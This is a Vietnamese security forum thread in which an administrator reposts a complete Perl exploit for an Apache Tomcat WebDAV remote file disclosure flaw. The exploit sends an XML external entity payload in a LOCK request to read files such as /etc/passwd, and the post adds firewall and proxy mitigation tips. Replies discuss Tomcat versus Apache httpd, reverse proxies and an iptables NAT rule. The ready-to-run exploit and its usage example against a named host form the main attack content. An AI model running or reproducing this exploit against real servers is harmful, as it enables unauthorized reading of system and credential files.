[Announcement] Apache Tomcat File Disclosure (Exploit) |
26/10/2007 20:08:52 (+0700) | #1 | 93126 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
Nguồn: http://www.milw0rm.com/exploits/4530
Đăng lại ở Securiteam: http://www.securiteam.com/exploits/6S00D1FK0K.html
Code:
#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************
use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?
# SET REMOTE PORT HERE
$remoteport = 8080;
sub usage {
print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
}
if ($#ARGV < 2) {usage();}
$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];
$username = $ARGV[3];
$password = $ARGV[4];
my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => $remoteport,
Proto => 'tcp');
$|=1;
$BasicAuth = encode_base64("$username:$password");
$KRADXmL =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns: D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";
print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";
$ExploitRequest =
"LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";
if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;
print $sock $ExploitRequest;
while(<$sock>) {
print;
}
Từ lúc exploit này được công bố (15/10/2007) đến nay, HVA bị thử không dưới 100 lần.
Tips:
- config Tomcat HTTP connector cho localhost, not all interfaces.
- filter port 8080 trên firewall.
- dùng mod_jk hoặc proxy đứng trước Tomcat. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: Apache Tomcat File Disclosure (Exploit) |
28/10/2007 06:41:25 (+0700) | #2 | 93443 |
|
K4i
Moderator
|
Joined: 18/04/2006 09:32:13
Messages: 635
Location: Underground
Offline
|
|
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu ) |
|
Sống là để không chết chứ không phải để trở thành anh hùng |
|
|
|
[Question] Re: Apache Tomcat File Disclosure (Exploit) |
28/10/2007 09:49:03 (+0700) | #3 | 93467 |
FaL
Moderator
|
Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
|
|
K4i wrote:
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu )
Tớ nghĩ là bồ đoán nhầm.
Bản Apache này có tên là Tomcat.
FaL |
|
Hãy giữ một trái tim nóng và một cái đầu lạnh |
|
|
|
[Question] Re: Apache Tomcat File Disclosure (Exploit) |
28/10/2007 10:33:18 (+0700) | #4 | 93473 |
pnco
HVA Friend
|
Joined: 24/06/2005 16:33:48
Messages: 515
Offline
|
|
Không nhầm đâu FaL, em để ý đoạn này:
- dùng mod_jk hoặc proxy đứng trước Tomcat.
|
|
|
|
|
[Question] Re: Apache Tomcat File Disclosure (Exploit) |
28/10/2007 20:04:12 (+0700) | #5 | 93521 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
FaL wrote:
K4i wrote:
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu )
Tớ nghĩ là bồ đoán nhầm.
Bản Apache này có tên là Tomcat.
FaL
Không phải đâu em.
Apache là tên của nhóm Apache và ứng dụng http của Apache nổi tiếng đến nỗi người ta quen gọi Apache để ám chỉ cho apache web (http).
Thật ra apache http và apache tomcat là hai ứng dụng hoàn toàn khác nhau. Lục lọi trên điễn dàn (hình như trong phần *nix) sẽ thấy có 1 bài anh nói về sự khác nhau giữa apache http và apache tomcat.
to K4i:
Có một số cách khác nhau.
1) dùng reverse proxy (như apache proxy, squid hoặc bất cứ reverse proxy appliance nào) để map từ port 80 (web) đến port 8080 (mặc định connector port của tomcat).
2) dùng apache http đứng trước apache tomcat và dùng mod_jk, một connector gắn liền apache web với apache tomcat xuyên qua AJP protocol.
Cả 2 đều nhằm 1 mục đích là không cho access trực tiếp đến cổng mặc định 8080 của tomcat.
Thân. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: Apache Tomcat File Disclosure (Exploit) |
29/10/2007 00:56:33 (+0700) | #6 | 93550 |
FaL
Moderator
|
Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
|
|
Đúng là em chưa biết gì nhiều về web nên nhầm lẫn lung tung...
|
|
Hãy giữ một trái tim nóng và một cái đầu lạnh |
|
|
|
[Question] Apache Tomcat File Disclosure (Exploit) |
23/02/2008 04:21:37 (+0700) | #7 | 116156 |
subnetwork
Member
|
0 |
|
|
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
|
|
|
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com |
|
|
|
[Question] Apache Tomcat File Disclosure (Exploit) |
24/02/2008 03:50:52 (+0700) | #8 | 116320 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: Apache Tomcat File Disclosure (Exploit) |
24/02/2008 12:18:14 (+0700) | #9 | 116380 |
subnetwork
Member
|
0 |
|
|
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
|
|
###### NAT rules ######
echo "[+] Setting up NAT rules..."
#iptables -t nat -A PREROUTING -d 192.168.1.2 -p tcp --dport 8080 -j REDIRECT --to-ports 80
Lệnh trên nó "nói" đây chính là "table nat" thuộc PREROUTING chain (PREROUTING chain được dùng để apply các rules trong bảng nat tức là quá trình nat sẽ được xữ lý trước khi thực hiện định tuyến) sau đó iptables cho phép các tcp package đi đến địa chỉ 192.168.1.2 ở cổng 8080 và sau đó nó chuyển package này đến cổng 80. Tức là iptables xữ lý các package trước khi nó chuyển đến cổng 80 .
Còn về phần nào em chưa hiểu mong anh dạy bảo |
|
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com |
|
|